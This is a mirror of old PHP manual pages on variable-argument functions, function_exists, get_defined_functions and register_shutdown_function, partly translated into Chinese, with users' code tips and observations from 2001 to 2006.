This function whilst elegant doesn't in itself avoid the problem of generating warning messages where variables are not set, unless of course you switched warnings off:
error_reporting(E_ERROR);

The answer for those of who like to see necessary warnings?
Call it like this:
@allSet($w, $x, $y, $z)

(Martin Francis)
add a note add a note

后退 | 起点 | 前进
create_function | 上一级 | func_get_args


func_get_args

(PHP 4, PHP 5)

func_get_args -- Returns an array comprising a function's argument list

Description

array func_get_args ( void )

Returns an array in which each element is a copy of the corresponding member of the current user-defined function's argument list. func_get_args() will generate a warning if called from outside of a function definition. This function cannot be used directly as a function parameter. Instead, its result may be assigned to a variable, which can then be passed to the function.

注: This function returns a copy of the passed arguments only, and does not account for default (non-passed) arguments.

注: 因为本函数依赖于当前域来决定参数细节，因此不能用作函数参数。如果必须要传递这个值，将结果赋给一个变量，然后传递该变量。

<?php
function foo()
{
    $numargs = func_num_args();
    echo "Number of arguments: $numargs<br />\n";
    if ($numargs >= 2) {
        echo "Second argument is: " . func_get_arg(1) . "<br />\n";
    }
    $arg_list = func_get_args();
    for ($i = 0; $i < $numargs; $i++) {
        echo "Argument $i is: " . $arg_list[$i] . "<br />\n";
    }
}

foo(1, 2, 3);
?>

func_get_args() may be used in conjunction
with func_num_args() and
func_get_arg() to allow user-defined functions
to accept variable-length argument lists.

add a note add a note User Contributed Notes
bew
31-Mar-2006 11:55
A more concise way of expressing my idea from the previous post (I'd forgotten about array_slice()):

<?php
function func_get_default_args($a) {
   $args = array_slice(func_get_args(), 1);
   return array_merge($args, array_slice($a, sizeof($args)));
}

function foo($a = 1, $b = 2, $c = 3) {
   print_r(func_get_default_args(func_get_args(), $a, $b, $c));
}

// prints: Array ( [0] => a [1] => b [2] => 3 )
foo('a', 'b');
?>
Nathan Ostgard
07-Dec-2005 02:14
If you're using PHP5, the variable number of argument functions all return the objects by reference - and not a copy of the object, as this leads you to believe.
robert at defore dot st
15-Feb-2005 04:47
# Another attempt at named args (perl-inspired):

# list_to_assoc('key', 'value', 'key', 'value', ...) =>
#    pairs[]
function list_to_assoc() {
   $list = func_get_args();
   $assoc = array();

   while ($list and count($list) > 1) {
       $assoc[array_shift($list)] = array_shift($list);
   }

   if ($list) { $assoc[] = $list[0]; }

   return $assoc;
}

# Usage:

function example($required) {
   $args = func_get_args(); array_shift($args); # drop 'required'
   $rest = list_to_assoc($args);
   echo "$required\n" . $rest['comment'];
}

example("This is required...",
       'comment', 'this is not.'); # this is like 'comment' => 'this is not'
T.M.
04-Nov-2004 11:24
Simple function to calculate average value using dynamic arguments:
<?php
function average(){
   return array_sum(func_get_args())/func_num_args();
}
print average(10, 15, 20, 25); // 17.5
?>
volte6 at drunkduck dot com
01-Oct-2004 05:54
For those who have a use for a C style enum() function:

//*******************************************
// void enum();
// enumerates constants for unique values guarenteed.
function enum()
{
  $i=0;
  $ARG_ARR = func_get_args();
  if (is_array($ARG_ARR))
  {
   foreach ($ARG_ARR as $CONSTANT)
   {
     define ($CONSTANT, ++$i);
   }
  }
}

// USAGE:
enum(ERR_USER_EXISTS, ERR_OLD_POST);

// etc. etc.
//*******************************************

this can be used for error codes etc.
I deliberately skipped the 0 (zero) define, which could be useful for error checking.
mark at manngo dot net
24-Mar-2003 03:13
You can also fake named arguments using eval:

function test()
{  foreach (func_get_args() as $k=>$arg) eval ("\$$arg;");
   echo "$a plus $b gives ".($a+$b);
}

test("a=3","b=4");
fbeyer at clickhand dot de dot noSpamPlease
20-Jan-2002 12:02
Another way of passing references with a dynamic number of arguments: (This example is limited to 10 arguments)

<?php
define('NULL_ARG', 'DUMMY_ARGUMENT');

function refArg($arg0 = NULL_ARG,
               $arg1 = NULL_ARG,
               $arg2 = NULL_ARG,
               $arg3 = NULL_ARG,
               $arg4 = NULL_ARG,
               $arg5 = NULL_ARG,
               $arg6 = NULL_ARG,
               $arg7 = NULL_ARG,
               $arg8 = NULL_ARG,
               $arg9 = NULL_ARG)
{
   for ($args=array(), $i=0; $i < 10; $i++) {
       $name = 'arg' . $i;
       if ($i < func_num_args()) {
           $args[$i] = &$$name;
       }
       unset($$name, $name);
   }

   $args[0] = 'Modified.';
}

$test = 'Not modified.<br>';
refArg(&$test);

echo $test; // Prints 'Modified'
?>
daveNO at ovumSPAMdesign dot com
18-Sep-2001 02:29
<?php
// How to simulate named parameters in PHP.
// By Dave Benjamin <dave@ovumdesign.com>

// Turns the array returned by func_get_args() into an array of name/value
// pairs that can be processed by extract().
function varargs($args) {
   $count = count($args);
   for ($i = 0; $i < $count; $i += 2) {
       $result[$args[$i]] = $args[$i + 1];
   }

   return $result;
}

// Example
function test(&$ref1, &$ref2) {
   // Default arguments go here.
   $foo = "oof";

   // Do some magic.
   extract(varargs(func_get_args()));

   echo nl2br("\n\$var1 = $var1");
   echo nl2br("\n\$var2 = $var2");
   echo nl2br("\n\$foo = $foo\n\n");

   // Modify some variables that were passed by reference.
   // Note that func_get_args() doesn't pass references, so they
   // need to be explicitly declared in the function definition.
   $ref1 = 42;
   $ref2 = 84;
}

$a = 5;
$b = 6;

echo nl2br("Before calling test(): \$a = $a\n");
echo nl2br("Before calling test(): \$b = $b\n");

// Try removing the 'foo, "bar"' from the following line.
test($a, $b, var1, "abc", var2, "def", foo, "bar");

echo nl2br("After calling test(): \$a = $a\n");
echo nl2br("After calling test(): \$b = $b\n");
?>
04-Jun-2001 10:44
You can pass a variable number of arguments to a function whilst keeping references intact by using an array. The disadvantage of course, is that the called function needs to be aware that it's arguments are in an array.
<?
// Prints "hello mutated world"
function mutator($args=null) {
$n=count($args);
while($i<$n) $args[$i++] = "mutated";
}
$a = "hello";
$b = "strange";
$c = "world";
mutator(array($a, &$b, $c));
echo "$a $b $c";
?>
add a note add a note

后退 | 起点 | 前进
func_get_arg | 上一级 | func_num_args


func_num_args

(PHP 4, PHP 5)

func_num_args -- Returns the number of arguments passed to the function

Description

int func_num_args ( void )

Returns the number of arguments passed into the current user-defined function. func_num_args() will generate a warning if called from outside of a user-defined function. This function cannot be used directly as a function parameter. Instead, its result may be assigned to a variable, which can then be passed to the function.

注: 因为本函数依赖于当前域来决定参数细节，因此不能用作函数参数。如果必须要传递这个值，将结果赋给一个变量，然后传递该变量。

<?php
function foo()
{
    $numargs = func_num_args();
    echo "Number of arguments: $numargs\n";
}

foo(1, 2, 3);    // Prints 'Number of arguments: 3'
?>

func_num_args() may be used in conjunction
with func_get_arg() and
func_get_args() to allow user-defined
functions to accept variable-length argument lists.

add a note add a note User Contributed Notes
neelam_ab2003 at yahoo dot co dot in
11-May-2006 03:40
Just adding a note to JARED's Note.

func_num_args() works if and only if called from within a function definition BECAUSE it calculates the number of arguments sent while function calling. That is why it gives

'1' in helloWorld("HelloWorld!") and '2' in helloWorld("HelloWorld!", "HowdyWorld!") - There is nothing to do with DEFAULT args.

If you call the same function as helloWorld(); "No args passed"

It will give a warning for wrong function call ("Warning: Missing argument 1 for helloWorld()") and the result of func_num_args() will be '0'.
friz at godshell dot com
17-Mar-2006 03:24
This function comes in extremely handy in OO Classes.  My focus is currently PHP 4, but this technique probably works just as well in PHP 5.

Class foo {
   // constructor, other methods, etc

   function somedata($somedata = '') {
     if (func_num_args() > 0) {
         $this->somedata = $somedata;
     }

     return $this->somedata;
   }
}

This allows for a default value to be set, while not requiring the parameter.  (Yes, I'm aware that it only warns when you do, but I think this is a little cleaner)
jared at ws-db dot com
07-Sep-2005 12:46
Just a note for anyone wondering. This function doesn't include params that have a default value, unless you pass one in to overwrite the default param value. Not sure if that makes sense, so here's an example:

function helloWorld($ArgA, $ArgB="HelloWorld!") {
  return func_num_args();
}

// The following will return 1
$Returns1 = helloWorld("HelloWorld!");

// The following will return 2
$Returns2 = helloWorld("HelloWorld!", "HowdyWorld!");
andy at arakka dot co dot th
12-May-2005 10:16
func_num_args() can be used in conjunction with named arguments, also. For example:
function DebugShow( $label, $value ) {
  echo "# " . $label ;
  if ( func_num_args() > 1 ) echo " = " . $value ;
  echo "<br>";
}
ashley at dcs dot warwick dot ac dot uk
17-Apr-2002 07:40
If you want to pass the parameters on intact to another function, use func_get_args and call_user_func_array (careful - this one is only available in recent PHP versions).  For example:

/* Print an HTML tag.  This accepts a variable number of arguments:
   the first should be the name of the tag, followed by pairs of
   arguments that describe keys and values.  The values are printed
   with surrounding double quote characters.  */
function printTag() {
  $numArgs = func_num_args();
  if ($numArgs < 1) die("printTag given no arguments");

  echo "<" . func_get_arg(0);
  for ($i = 1; $i < $numArgs; $i+=2) {
   echo " " . func_get_arg($i);
   if ($i+1 < $numArgs)
     echo "=\"" . func_get_arg($i+1) . "\"";
  }
  echo ">";

}

/* Print an HTML tag with a newline on the end */
function printTagNL() {
  $args = func_get_args();
  call_user_func_array("printTag", $args);
  echo "\n";
}

printTagNL("input", "type", "hidden", "name", "SORTORDER", "value", $columnNo);
thalis at NOSPAMcs dot pitt dot edu
30-Mar-2002 04:05
The idea of func_get_args() is to construct functions of variable number of parameters like
function var_param_func(){
   if(func_num_args()==0){
       //do one thing
   }
   if(func_num_args()==1)
       //do another thing
       //get the args with func_get_args()
   }
}
add a note add a note

后退 | 起点 | 前进
func_get_args | 上一级 | function_exists


function_exists

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

function_exists -- Return TRUE if the given function has been defined

Description

bool function_exists ( string function_name )

Checks the list of defined functions, both built-in (internal) and user-defined, for function_name. 如果成功则返回 TRUE，失败则返回 FALSE。

<?php
if (function_exists('imap_open')) {
    echo "IMAP functions are available.<br />\n";
} else {
    echo "IMAP functions are not available.<br />\n";
}
?>

Note that a function name may exist even if the function itself is unusable due to configuration or compiling options (with the image functions being an example). Also note that function_exists() will return FALSE for constructs, such as include_once() and echo().

See also method_exists(),
is_callable() and
get_defined_functions().

add a note add a note User Contributed Notes
chad 0x40 herballure 0x2e com
20-May-2006 01:06
In-reply-to: neelam_ab2003 at yahoo dot co dot in

See the functions section of the manual, http://us2.php.net/manual/en/language.functions.php - once you call B() then function C will exist, and likewise for calling C to create D.
neelam_ab2003 at yahoo dot co dot in
11-May-2006 03:06
<?php
/*PHP doesn't Support nested functions. I have tried following in PHP_VERSION - 5.1.2*/

function A(){}

function B(){
   function C(){
       function D(){}
   }
}

IsFunctionExist('A');
IsFunctionExist('B');
IsFunctionExist('C');
IsFunctionExist('D');

function IsFunctionExist($funcName){
   echo function_exists($funcName)?" $funcName exist <br>":" $funcName doesn't exist <br>";
}
?>

/*O U T P U T
A exist
B exist
C doesn't exist
D doesn't exist
*/
chaumo
16-Jul-2005 08:46
to avoid direct calls this can be better than function_exists
in the parent file:
<?php
define("IN_MODULE",true);
?>
and in the target file:
<?php
if(!defined("IN_MODULE")) die("Can't access the file directly");
?>
fili at fili dot nl
09-Jun-2005 12:24
To prevent direct calls to included files i use the following technique.

In the main file create an empty function with a random name. Like so:

<?php
function hjudejdjiwe() { return true; }
?>

Then check for the existence of this function within your include:

<?php
if (!function_exists('hjudejdjiwe')) { die('!'); }
?>

Simple but effective.
codeslinger at compsalot dot com
02-Feb-2005 10:11
case-insensitive is by design
see  http://www.php.net/manual/en/language.functions.php

"Function names are case-insensitive, though it is usually good form to call functions as they appear in their declaration."

PHP is not C, though the similarities can be confusing.
dark dot ryder at gmail dot com
07-Oct-2004 07:49
A note of caution: function_exists() appears to be case-insensitive (at least as of PHP 4.3.8).  e.g.:

<?php
   function MyCasedFunction() {
       return true;
   }

   // Will return true, even though casing is "wrong"
   if (function_exists("mYcAsEdFuNcTiOn"))
       echo "I see it!";
?>
bob at thethirdshift dot net
24-Jun-2004 12:55
I, too, was wondering whether is_callable or function exists is faster when checking class methods.  So, I setup the following test:

<?php
function doTimes($start, $end)
  {
   $start_time = explode (" ", $start);
   $start_time = $start_time[1] + $start_time[0];
   $end_time = explode (" ", $end);
   $end_time = $end_time[1] + $end_time[0];
   $time = $end_time - $start_time;
   return $time;
  }

class test
  {
     function test()
     {
         return true;
     }
  }

$callableIsTrue = false;
$startIsCallable = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(is_callable(array('test', 'test'))) { $callableIsTrue = true; }
  }
$endIsCallable = microtime();

$existsIsTrue = false;
$startExists = microtime();
for($i = 0; $i < 10000; $i++)
  {
     if(function_exists('test::test')) { $existsIsTrue = true; }
  }
$endExists = microtime();

$timeIsCallable = doTimes($startIsCallable, $endIsCallable);
$timeExists    = doTimes($startExists, $endExists);

echo "<b>is_callable = ".($callableIsTrue ? "TRUE" : "FALSE")."</b>, \n";
echo "<b>function_exists = ".($existsIsTrue ? "TRUE" : "FALSE")."</b><br>\n";

echo "<br>Did 10000 is_callables in ".$timeIsCallable." seconds";
echo "<br>Did 10000 function_exists in ".$timeExists." seconds";
?>

This gives the output :

is_callable = TRUE, function_exists = FALSE

Did 10000 is_callables in 0.0640790462494 seconds
Did 10000 function_exists in 0.0304429531097 seconds

So the fact that function_exists is twice as fast is slightly over shadowed by the fact that it doesn't work on class methods, at least not as far as I can tell.
ckrack at i-z dot de
10-Mar-2004 04:22
i was wondering whether is_callable or function exists is faster when checking class methods.

is_callable(array('foo', 'bar'));
function_exists('foo::bar');

my results when doing each operation 10000 times with a simple test class were the following:

is_callable: 0.28671383857727 seconds
function_exists: 0.14569997787476 seconds

(following tests have proved this to be true).

thus you can see, function_exists is twice as fast as is_callable.
breadman
30-Jul-2003 08:17
Functions within a function are better off as anonymous returns from create_function(), unless you want to be able to call it elsewhere.

However, I have used this in skinning:  I use alert_box() to display certain errors, like a faulty SQL query.  This simply calls display_alert(), which is defined in my skin scripts.  However, alert_box() is sometimes called before I know which skin to load, so it has its own functionality which it uses if function_exists('display_alert') returns false.
dshearin at excite dot com
09-Jul-2003 06:15
This can be used to conditionally define a user function. In this sense, it can act as a sort of inline include_once().

For example, suppose you have a function A that calls function B. B is only used inside function A and is never called from anywhere else in the script. It's logical (and perfectly legal in PHP) to define B inside of A's definition, like so:

function A($inputArray)
{
   if (!function_exists('B'))
   {
     function B($item)
     {
           // Do something with $item
         // and return result
         return $result;
     }
   }
   foreach ($inputArray as $nextItem) $outputArray[] = B($nextItem);
   return $outputArray;
}

Without the function_exists test, you would get a fatal error the second time you called A, as PHP would think you were trying to redefine B (not legal in PHP). The placement of the test is also important. Since the if block is executed sequentially, like any other block of code, it must come before any call to the function defined within.
@flop at escapesoft dot net@
07-Dec-2002 12:16
var_dump(function_exists(create_function('$a','return $a;')));
-> True :))) kweul
add a note add a note

后退 | 起点 | 前进
func_num_args | 上一级 | get_defined_functions


get_defined_functions

(PHP 4 >= 4.0.4, PHP 5)

get_defined_functions -- Returns an array of all defined functions

Description

array get_defined_functions ( void )

This function returns an multidimensional array containing a list of all defined functions, both built-in (internal) and user-defined. The internal functions will be accessible via $arr["internal"], and the user defined ones using $arr["user"] (see example below).

<?php
function myrow($id, $data)
{
    return "<tr><th>$id</th><td>$data</td></tr>\n";
}

$arr = get_defined_functions();

print_r($arr);
?>

Will output something along the lines of:

Array
(
    [internal] => Array
        (
            [0] => zend_version
            [1] => func_num_args
            [2] => func_get_arg
            [3] => func_get_args
            [4] => strlen
            [5] => strcmp
            [6] => strncmp
            ...
            [750] => bcscale
            [751] => bccomp
        )

    [user] => Array
        (
            [0] => myrow
        )

)

See also
function_exists(),
get_defined_vars() and
get_defined_constants().

add a note add a note User Contributed Notes
berchentreff at berchentreff dot de
31-Mar-2006 09:46
look at here, list all the defined function on your php-Version and give as well formatted output width links onto the php-manual:

<html><head>
<style type="text/css"><!--
li{font-family:Verdana,Arail,sans-serif;width:500px;margin-top:7px;}
a{padding:4px;}
a.a1{font-size:12px;background-color:#CCCCCC;color:#663300;}
a.a1:hover{background-color:#663300;color:#CCCCCC;}
a.a1:visited{background-color:#fff;color:#999;}
a.a1:visited:hover{background-color:#fff;color:#999;}
a.a0{font-size:12px;background-color:#CCCCFF;color:#663399;}
a.a0:hover{background-color:#663399;color:#CCCCFF;}
a.a0:visited{background-color:#ffC;color:#999;}
a.a0:visited:hover{background-color:#ffC;color:#999;}
--></style>
</head><body style="background-color:#999;">
<?php
$arr = get_defined_functions();

foreach($arr as $zeile){
sort($zeile);$s=0;
foreach($zeile as $bzeile){
$s=($s)?0:1;
echo "<li><a class='a".$s."'  href='http://de.php.net/".$bzeile."'>".$bzeile."</a></li>";}
}
?>
</body>
</html>
php dot net at schou dot dk
20-May-2003 05:47
Here is another example which list all the available functions and gives a link to the manual pages at the same time.

$manref = "http://www.php.net/manual/en/function";
$arr = get_defined_functions();
while (list($type,$list) = each($arr)) {
       if ($type == "internal" && is_array($list)) {
               sort($list);
               foreach ($list as $func) {
                       if ($func == "_")
                               $func2 = "gettext";
                       else
                               $func2 = preg_replace("/_/", "-", $func);
                       echo "<a href=\"$manref.$func2.php\">$func</a><br>\n";
               }
       }
}
kaneccc at seznam dot cz
28-Mar-2003 08:30
I've written simple XML-RPC server which automatically registers all defined functions starting with "RPC_" prefix and found, that with PHP 2.4.3 on Win32 and Linux platforms function names are in lowercase so the xmlrpc_server_call_method() is case sensitive which is correct with XML, but not with PHP and get_functions_defined()

I also suggest changing the function to have flags/options to return internal, user or both functions only and starting with prefix such as:

---
// constants
define( 'xxx_INTERNAL', 0x1 );
define( 'xxx_USER', 0x2 );
define( 'xxx_BOTH', 0x3 );

// declaration
array get_functions_defined( int options, string prefix );
---

with both arguments optional.

Johnnie
mIHATESPAMduskis at bates dot edu
22-Nov-2002 06:47
At least with PHP 4.2.3 on a GNU/Linux/Apache platform, get_defined_functions() returns user-defined functions as all-lower case strings regardless of how the functions are capitalized when they are defined.

Threw me for a loop.
peten at spam dot me dot not dot frontiernet dot net
03-Jun-2002 01:28
Here's a useful trick with the get_defined_functions function - show all available functions with a link to the documentation (you can even change the mirror it goes to):

<?php
  // the php mirror
  $php_host = "http://us2.php.net/";

  // the number of cols in our table
  $num_cols = 3;

  $ar = get_defined_functions();
  $int_funct = $ar[internal];
  sort($int_funct);
  $count = count($int_funct);
?>
<html>
 <head>
  <title>
   Available PHP Functions
  </title>
 </head>
 <body>
  <p>
   <?php print $count; ?> functions
   available on
   <?php
     print $_SERVER[SERVER_NAME];
     ?>
  (<a href="<?php print $php_host;?>"
   target="phpwin">php</a>
   version
   <?php print phpversion(); ?>)
  </p>
  <table align="center" border="2">
   <tr>
<?php
  for($i=0;$i<$count;$i++) {
   $doc = $php_host
     . "manual/en/function."
     . strtr($int_funct[$i], "_", "-")
     . ".php";
   print "    <td><a href=\"" . $doc
     . "\" target=\"phpwin\">"
     . $int_funct[$i]
     . "</a></td>\n";
   if(($i > 1)
     && (($i+$num_cols)%$num_cols==($num_cols-1)))
     print "  </tr>\n  <tr>\n";
   }
  for($i=($num_cols-($count%$num_cols));$i>0;$i--)
   print "    <td>&nbsp;</td>\n";
?>
  </table>
 </body>
</html>
add a note add a note

后退 | 起点 | 前进
function_exists | 上一级 | register_shutdown_function


register_shutdown_function

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

register_shutdown_function -- Register a function for execution on shutdown

Description

void register_shutdown_function ( callback function [, mixed parameter [, mixed ...]] )

Registers the function named by function to be executed when script processing is complete.

Multiple calls to register_shutdown_function() can be made, and each will be called in the same order as they were registered. If you call exit() within one registered shutdown function, processing will stop completely and no other registered shutdown functions will be called.

In PHP 4.0.6 and earlier under Apache, the registered shutdown functions are called after the request has been completed (including sending any output buffers), so it is not possible to send output to the browser using echo() or print(), or retrieve the contents of any output buffers using ob_get_contents(). Since PHP 4.1, the shutdown functions are called as the part of the request so that it's possible to send the output from them. There is currently no way to process the data with output buffering functions in the shutdown function. Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.

As of PHP 4, it is possible to pass parameters to the shutdown function by passing additional parameters to register_shutdown_function().

注: Typically undefined functions cause fatal errors in PHP, but when the function called with register_shutdown_function() is undefined, an error of level E_WARNING is generated instead. Also, for reasons internal to PHP, this error will refer to Unknown() at line #0.

注: Working directory of the script can change inside the shutdown function under some web servers, e.g. Apache.

注: Shutdown function is called during the script shutdown so headers are always already sent.

See also auto_append_file, exit(), and the section on connection handling.

add a note add a note User Contributed Notes
morphling at quick dot cz
01-May-2006 06:14
There is a note "Shutdown function is called during the script shutdown so headers are always already sent.", but my php 5.1 seems to act differently.
Example:
<?php
class Test {

   private $running;

   public function main() {
       $this->running = true;
       ob_start();
       error_reporting(E_ALL);
       register_shutdown_function(array($this, "clean_exit"));
       echo "Hello";
       // triggers E_ERROR
       $fatal->error();

       $this->running = false;
   }

   public function clean_exit() {
       if ($this->running) {
           header("Location: error.php");
       }
   }
}
$t = new Test();
$t->main();
?>
This example redirects you on error.php, this could be a simple way to handle E_ERROR.
michael at onlinecity dot dk
20-Apr-2006 04:07
Note that under Windows 2003/IIS6 and PHP5 5.1.2 ISAPI the register_shutdown_function executes under IUSR_, regardless of what user the script executes under.
This means that even if you use Application Pools and NETWORK SERVICE as user, shutdown functions will run under the default IIS user.
dweingart at pobox dot com
14-Mar-2006 12:53
I have discovered a change in behavior from PHP 5.0.4 to PHP 5.1.2 when using a shutdown function in conjunction with an output buffering callback.

In PHP 5.0.4 (and earlier versions I believe) the shutdown function is called after the output buffering callback.

In PHP 5.1.2 (not sure when the change occurred) the shutdown function is called before the output buffering callback.

Test code:
<?php
function ob_callback($buf) {
   $buf .= '<li>' . __FUNCTION__ .'</li>';
   return $buf;
}

function shutdown_func() {
   echo '<li>' . __FUNCTION__ .'</li>';
}

ob_start('ob_callback');
register_shutdown_function('shutdown_func');
echo '<ol>';
?>

PHP 5.0.4:

1. ob_callback
2. shutdown_func

PHP 5.1.2:

1. shutdown_func
2. ob_callback
me at thomaskeller dot biz
12-Mar-2006 06:27
Well, it might be obvious, but one should remember that one cannot send any HTTP header in the shutdown callback.

Something like

<?php

function redirect()
{
     header("Location: myuri.php");
}

register_shutdown_function("redirect");

// do something useful here

?>

doesn't work and PHP sends out the popular "headers already sent" warning.

I tried to set a redirection target somewhere in the script, but wanted to make sure that it was only set/executed at the very end of the script, since my custom redirect function also cleaned any output buffers at that point. Well, no luck here =)
kenneth dot kalmer at gmail dot com
28-Jan-2006 01:26
I performed two tests on the register_shutdown_function() to see under what conditions it was called, and if a can call a static method from a class. Here are the results:

<?php
/**
 * Tests the shutdown function being able to call a static methods
 */
class Shutdown
{
   public static function Method ($mixed = 0)
   {
       // we need absolute
       $ap = dirname (__FILE__);
       $mixed = time () . " - $mixed\n";
       file_put_contents ("$ap/shutdown.log", $mixed, FILE_APPEND);
   }
}
// 3. Throw an exception
register_shutdown_function (array ('Shutdown', 'Method'), 'throw');
throw new Exception ('bla bla');

// 2. Use the exit command
//register_shutdown_function (array ('Shutdown', 'Method'), 'exit');
//exit ('exiting here...')

// 1. Exit normally
//register_shutdown_function (array ('Shutdown', 'Method'));
?>

To test simply leave one of the three test lines uncommented and execute. Executing bottom-up yielded:

1138382480 - 0
1138382503 - exit
1138382564 - throw

HTH
sezer yalcin
27-Dec-2005 01:11
re:codeslinger at compsalot dot com

fork() is actually creating 2 processes from one. So there is no surprise register_shutdown_function will be executed per each process.

I think you have reported this as a bug and now in php 5.1.0 when you exit from child process, it does not execute it. Well, what are you going to do if you have something to register for forked process?

I hope php will be more stable near soon!

codeslinger at compsalot dot com
03-Feb-2005 09:22
Here is a nice little surprise to keep in mind...

If you register a shutdown function for your main program.  And then you fork() a child.

Guess What?
When the child exits it will run the code that was intended for the main program.  This can be a really bad thing  ;-)

Happily there is a simple work-around.  All you need to do is to create a global variable such as:

$IamaChild = [TRUE | FALSE];

and have your shutdown function check the value...
http://livejournal.com/~sinde1/
02-Dec-2005 08:49
If you want to do something with files in function, that registered in register_shutdown_function(), use ABSOLUTE paths to files instead of relative. Because when script processing is complete current working directory chages to ServerRoot (see httpd.conf)
Niels Ganser <php dot comment at depoll dot de>
23-Sep-2005 10:58
Just a quick note: from 5.0.5 on objects will be unloaded _before_ your shutdown function is called which means you can't use previously initiated objects (such as mysqli).

See bug 33772 for more information.
codeslinger at compsalot dot com
04-Feb-2005 01:22
Here is a nice little surprise to keep in mind...

If you register a shutdown function for your main program.  And then you fork() a child.

Guess What?
When the child exits it will run the code that was intended for the main program.  This can be a really bad thing  ;-)

Happily there is a simple work-around.  All you need to do is to create a global variable such as:

$IamaChild = [TRUE | FALSE];

and have your shutdown function check the value...
nospam at REM0VEME unclassified.de
27-Nov-2004 02:37
As long as the previous note still exists:
It may be easier to use dirname(__FILE__) with any relative filename in your script than setting the current directory and all those array operations. Use dirname(dirname(__FILE__)) for the parent directory.
php at kevin dot offwhite dot net
29-May-2004 05:14
Various commenters have described how this function doesn't work for time-consuming background processing, because the webpage doesn't close the connection.  The workaround using output buffering and header('Connection: close'); seems to work, but the solution I prefer is to put the background processing in a separate script which gets included as a transparent gif.

<?php

  //logger.php -- does the time-consuming log_it() function

  function log_it()
  {
   sleep(12); //simulate long processing
   error_log('log_it() completed');
  }

  error_reporting(0);
  register_shutdown_function('log_it');
  header('Cache-Control: no-cache');
  header('Content-type: image/gif');

  //the size of the unencoded transparent gif
  header('Content-length: 85');

  //1x1 pixel transparent gif
  print base64_decode('R0lGODlhAQABALMAAAAAAIAAAACAA'.
                       'ICAAAAAgIAAgACAgMDAwICAgP8AAA'.
                       'D/AP//AAAA//8A/wD//wBiZCH5BAE'.
                       'AAA8ALAAAAAABAAEAAAQC8EUAOw==');

  flush();
  exit;

?>

@-----------Page you want to add background processing to ---------@
<html>
<body>
<h1>Hello World</h1>

<!-- Call logger.php to do background processing -->
<img src="logger.php" width="1" height="1" border="0" alt="" />

</body>
</html>
@------------------------------------------------------------------@

The only caveat is, of course, if the user has images turned off then the script won't be called.  Tested successfully with IE6, Firefox 0.8, and Opera 7.11
astrolox at lawyersonline dot co dot uk
19-Mar-2004 03:57
When using the register_shutdown_function command in php 4. The registered functions are called in the order that you register them.

This is important to note if you are doing database work using classes that register shutdown functions for themselves.

You must register the shutdown_functions in the order that you want things to shutdown. ( ie the database needs to shutdown last )

Example of what will not work but what you might expect to work :-
<?
class database {

       function database() {
               echo "connect to sql server -- (database :: constructor)<br>\n";
               register_shutdown_function( array( &$this, "phpshutdown" ) );
               $this->connected = 1;
       }

       function do_sql( $sql ) {
               if ( $this->connected == 1 ) {
                       echo "performing sql -- (database :: do_sql)<br>\n";
               } else {
                       echo " ERROR -- CAN NOT PERFORM SQL -- NOT CONNECTED TO SERVER -- (database :: do_sql)<br>\n";
               }
       }

       function phpshutdown() {
               echo "close connection to sql server -- <b>(database :: shutdown)</b><br>\n";
               $this->connected = 0;
       }
}

class table {

       function table( &$database, $name ) {
               $this->database =& $database;
               $this->name = $name;
               echo "read table data using database class -- name=$this->name -- (table :: constructor)<br>\n";
               register_shutdown_function( array( &$this, "phpshutdown" ) );
               $this->database->do_sql( "read table data" );
       }

       function phpshutdown() {
               echo "save changes to database -- name=$this->name -- <b>(table :: shutdown)</b><br>\n";
               $this->database->do_sql( "save table data" );
       }
}

$db =& new database();

$shoppingcard =& new table( &$db, "cart " );
?>

Output of the above example is :-

connect to sql server -- (database :: constructor)
read table data using database class -- name=cart -- (table :: constructor)
performing sql -- (database :: do_sql)
close connection to sql server -- (database :: shutdown)
save changes to database -- name=cart -- (table :: shutdown)
ERROR -- CAN NOT PERFORM SQL -- NOT CONNECTED TO SERVER -- (database :: do_sql)
Jim Smith
16-Mar-2004 08:17
I was trying to figure out how to pass parameters to the register_shutdown_function() since you cannot register a function with parameters and passing through globals is not appropriate. E.g. what I was trying to do was  <? register_shutdown_function("anotherfunction('parameter')") ?>
Turns out, the trick is to use create_function() to create a "function" that calls the desired function with static parameters.

<?
$funtext="mail('u@ho.com','mail test','sent after shutdown');";
register_shutdown_function(create_function('',$funtext));
?>

Here's another example showing in-line logging and a post-execution version:

Before: in-process logging
<?
function logit($message) {
   $oF=fopen('TEST.log', 'a');
   fwrite($oF,"$message\n");
   fclose($oF);
   sleep(5);  // so you can see the delay
}
print "loging";
logit("traditional execution");
print "logged";
exit;
?>
After:
<?
function logit($message) {
   $forlater=create_function('',"loglater('$message');");
   register_shutdown_function($forlater);
}
function loglater($message) {
   $oF=fopen('TEST.log', 'a');
   fwrite($oF,"$message\n");
   fclose($oF);
   sleep(5);  // so you can see the delay
}
print "loging";
logit("delayed execution");
print "logged";
exit;
?>

In the 'before' example, the file is written (and the delay occurs) before the "logged" appears. In the 'after' example, the file is written after execution terminates.

Maybe it would be nice to add a parameter to the register_shutdown_function that does this automatically?
sts at mail dot xubion dot hu
16-Mar-2004 06:56
If you need the old (<4.1) behavior of register_shutdown_function you can achieve the same with "Connection: close" and "Content-Length: xxxx" headers if you know the exact size of the sent data (which can be easily caught with output buffering).
An example:
<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

The same will work with registered functions.
According to http spec, browsers should close the connection when they got the amount of data specified in Content-Length header. At least it works fine for me in IE6 and Opera7.
mmj
15-Mar-2004 06:45
In PHP version 4.1 and above, the function registered as a shutdown function can, in fact, output data to the browser, contrary to this manual entry.  The wording of the documentation has not yet been changed to reflect this new behaviour.

For more information about this new behaviour see
http://bugs.php.net/bug.php?id=20447 which has been categorized as a "Documentation problem".
James Wyse (James [at] tastyspoon.com)
13-Feb-2004 12:49
Just a note to say that if your function uses paths relative to the script you are running (ie. for reading files, "../dir/" etc) then your function may not work correctly when registered as a shutdown function. I'm not sure where the 'working dir' IS when running a shutdown function but I find it best to use absolute paths ("/home/www/dir/").
chrishmorris
28-Jan-2004 02:15
To end the connection, but continue background processing, other languages offer ways to close STDOUT. This is impossible in PHP, as other submissions point out. In fact, the STDOUT stream has no name in a PHP web script.

register_shutdown_function() is useful, and has nothing to do with that problem.
www dot php dot net at spam dot monnard dot org
02-Dec-2003 02:26
